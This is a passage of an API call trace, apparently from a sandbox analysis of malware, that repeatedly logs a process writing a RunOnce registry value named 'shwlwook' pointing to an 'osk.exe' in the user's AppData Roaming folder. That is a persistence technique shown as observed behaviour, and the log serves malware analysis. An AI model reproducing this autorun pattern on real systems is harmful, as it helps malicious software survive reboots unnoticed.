lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.744] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.744] RegCloseKey (hKey=0x644) returned 0x0 [0279.745] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.745] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.758] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.759] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.759] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.759] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.760] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.760] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.760] RegCloseKey (hKey=0x644) returned 0x0 [0279.760] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.760] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.775] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.775] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.775] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.776] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.776] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.776] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.776] RegCloseKey (hKey=0x644) returned 0x0 [0279.776] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.777] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.790] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.790] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.790] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.791] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.791] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.791] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.791] RegCloseKey (hKey=0x644) returned 0x0 [0279.791] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.792] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.807] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.807] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.808] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.808] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.808] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.809] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.809] RegCloseKey (hKey=0x644) returned 0x0 [0279.811] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.811] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.821] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.821] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.822] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.822] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.823] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.823] RegCloseKey (hKey=0x644) returned 0x0 [0279.823] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.824] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.836] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.836] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.837] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.838] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.838] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.838] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.838] RegCloseKey (hKey=0x644) returned 0x0 [0279.838] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.839] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.859] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.859] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.860] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.860] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.860] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.861] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.861] RegCloseKey (hKey=0x644) returned 0x0 [0279.861] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.861] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.875] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.875] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.876] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.876] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.876] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.876] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.876] RegCloseKey (hKey=0x644) returned 0x0 [0279.877] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.877] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.892] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.892] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.892] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.892] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.892] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.893] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.893] RegCloseKey (hKey=0x644) returned 0x0 [0279.893] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.893] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.906] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.906] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.907] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.907] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.907] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.908] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.908] RegCloseKey (hKey=0x644) returned 0x0 [0279.908] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.908] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.922] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.922] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.922] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.923] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.923] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.923] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.923] RegCloseKey (hKey=0x644) returned 0x0 [0279.923] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.923] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.938] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.938] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.938] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.938] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.938] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.939] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.939] RegCloseKey (hKey=0x644) returned 0x0 [0279.939] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.939] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.953] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.953] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.953] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.954] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.954] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.954] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.954] RegCloseKey (hKey=0x644) returned 0x0 [0279.955] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.955] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.969] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.969] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.969] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.970] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.970] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.970] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.970] RegCloseKey (hKey=0x644) returned 0x0 [0279.970] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.971] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.989] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.990] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.990] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.991] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.991] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.991] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.991] RegCloseKey (hKey=0x644) returned 0x0 [0279.991] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.992] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.016] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.016] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.016] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.022] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.022] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.022] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.022] RegCloseKey (hKey=0x644) returned 0x0 [0280.023] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.023] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.032] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.032] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.032] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.033] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.033] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.033] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.033] RegCloseKey (hKey=0x644) returned 0x0 [0280.033] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.034] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.048] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.049] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.049] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.049] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.049] RegCloseKey (hKey=0x644) returned 0x0 [0280.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.050] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.063] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.063] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.063] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.064] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.064] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.064] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.064] RegCloseKey (hKey=0x644) returned 0x0 [0280.064] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.065] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.078] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.078] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.079] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.079] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.079] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.080] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.080] RegCloseKey (hKey=0x644) returned 0x0 [0280.080] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.080] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.094] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.094] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.095] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.095] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.095] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.095] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.096] RegCloseKey (hKey=0x644) returned 0x0 [0280.096] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.096] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.109] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.109] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.110] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.110] _mbsnbcmp 